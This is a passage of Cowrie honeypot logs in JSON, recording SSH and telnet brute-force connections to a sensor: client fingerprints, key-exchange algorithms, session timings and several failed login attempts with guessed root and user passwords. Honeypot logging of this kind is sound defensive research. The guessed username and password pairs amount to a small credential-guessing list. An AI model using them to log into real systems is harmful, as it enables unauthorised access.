man-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:55.819406Z","src_ip":"91.92.40.176","session":"809347121ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!root","message":"login attempt [root/!root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:56.282472Z","src_ip":"91.92.40.176","session":"809347121ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:58:57.637244Z","src_ip":"91.92.40.176","session":"809347121ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":48988,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ed0d0f531ea","protocol":"ssh","message":"New connection: 85.214.154.50:48988 (10.17.0.5:22) [session: 6ed0d0f531ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:13.165694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:13.168387Z","src_ip":"85.214.154.50","session":"6ed0d0f531ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:13.260231Z","src_ip":"85.214.154.50","session":"6ed0d0f531ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alameda","password":"alameda123","message":"login attempt [alameda/alameda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:13.543203Z","src_ip":"85.214.154.50","session":"6ed0d0f531ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:14.638798Z","src_ip":"85.214.154.50","session":"6ed0d0f531ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":51894,"dst_ip":"159.203.135.109","dst_port":23,"session":"d065d54b393c","protocol":"telnet","message":"New connection: 137.184.5.188:51894 (159.203.135.109:23) [session: d065d54b393c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:20.195613Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":41062,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5915894446d","protocol":"ssh","message":"New connection: 38.242.143.220:41062 (10.17.0.5:22) [session: d5915894446d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:25.041529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:25.044355Z","src_ip":"38.242.143.220","session":"d5915894446d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:25.138333Z","src_ip":"38.242.143.220","session":"d5915894446d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"D@y$S3cur3@W0rd","message":"login attempt [root/D@y$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:25.409891Z","src_ip":"38.242.143.220","session":"d5915894446d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:26.501520Z","src_ip":"38.242.143.220","session":"d5915894446d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":59332,"dst_ip":"159.203.135.109","dst_port":22,"session":"69a9c7b19f3c","protocol":"ssh","message":"New connection: 162.215.213.210:59332 (159.203.135.109:22) [session: 69a9c7b19f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:53.962451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:53.966349Z","src_ip":"162.215.213.210","session":"69a9c7b19f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:54.055426Z","src_ip":"162.215.213.210","session":"69a9c7b19f3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helium789","message":"login attempt [root/helium789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:54.323480Z","src_ip":"162.215.213.210","session":"69a9c7b19f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:59:55.416498Z","src_ip":"162.215.213.210","session":"69a9c7b19f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":59724,"dst_ip":"159.203.135.109","dst_port":22,"session":"525783370dc3","protocol":"ssh","message":"New connection: 99.252.20.159:59724 (159.203.135.109:22) [session: 525783370dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:04.120105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:04.127924Z","src_ip":"99.252.20.159","session":"525783370dc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:04.161910Z","src_ip":"99.252.20.159","session":"525783370dc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vitalik","password":"qwerty123","message":"login attempt [vitalik/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:04.262520Z","src_ip":"99.252.20.159","session":"525783370dc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:05.302985Z","src_ip":"99.252.20.159","session":"525783370dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39118,"dst_ip":"159.203.135.109","dst_port":23,"session":"b043b5385260","protocol":"telnet","message":"New connection: 107.6.151.170:39118 (159.203.135.109:23) [session: b043b5385260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:09.344415Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":34442,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a0b0b2f954","protocol":"ssh","message":"New connection: 193.37.70.224:34442 (10.17.0.5:22) [session: b9a0b0b2f954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:11.118196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:11.124074Z","src_ip":"193.37.70.224","session":"b9a0b0b2f954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:11.217316Z","src_ip":"193.37.70.224","session":"b9a0b0b2f954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"181081","message":"login attempt [root/181081] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:11.483617Z","src_ip":"193.37.70.224","session":"b9a0b0b2f954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:12.578156Z","src_ip":"193.37.70.224","session":"b9a0b0b2f954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.66101932525635,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:20.856526Z","src_ip":"137.184.5.188","session":"d065d54b393c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42132,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd1e0479cd0e","protocol":"telnet","message":"New connection: 107.6.151.170:42132 (159.203.135.109:23) [session: bd1e0479cd0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:26.638280Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49474,"dst_ip":"159.203.135.109","dst_port":23,"session":"71dcb84e0a7d","protocol":"telnet","message":"New connection: 107.6.151.170:49474 (159.203.135.109:23) [session: 71dcb84e0a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:26.673927Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52744,"dst_ip":"159.203.135.109","dst_port":23,"session":"daf7830a586d","protocol":"telnet","message":"New connection: 107.6.151.170:52744 (159.203.135.109:23) [session: daf7830a586d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:38.872541Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":60018,"dst_ip":"10.17.0.5","dst_port":22,"session":"d83927038f49","protocol":"ssh","message":"New connection: 77.237.244.154:60018 (10.17.0.5:22) [session: d83927038f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:48.051156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:48.057692Z","src_ip":"77.237.244.154","session":"d83927038f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:48.155452Z","src_ip":"77.237.244.154","session":"d83927038f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"swipe2024","message":"login attempt [root/swipe2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:48.468642Z","src_ip":"77.237.244.154","session":"d83927038f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:49.562866Z","src_ip":"77.237.244.154","session":"d83927038f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":45552,"dst_ip":"10.17.0.5","dst_port":22,"session":"13676c28d2b0","protocol":"ssh","message":"New connection: 91.92.40.176:45552 (10.17.0.5:22) [session: 13676c28d2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:56.965306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:57.010338Z","src_ip":"91.92.40.176","session":"13676c28d2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:57.099637Z","src_ip":"91.92.40.176","session":"13676c28d2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootme","message":"login attempt [root/rootme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:57.849685Z","src_ip":"91.92.40.176","session":"13676c28d2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.28849220275879,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:58.962318Z","src_ip":"107.6.151.170","session":"71dcb84e0a7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:00:58.973143Z","src_ip":"91.92.40.176","session":"13676c28d2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34782,"dst_ip":"159.203.135.109","dst_port":23,"session":"cff5ec9b4726","protocol":"telnet","message":"New connection: 107.6.151.170:34782 (159.203.135.109:23) [session: cff5ec9b4726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:02.092406Z"}
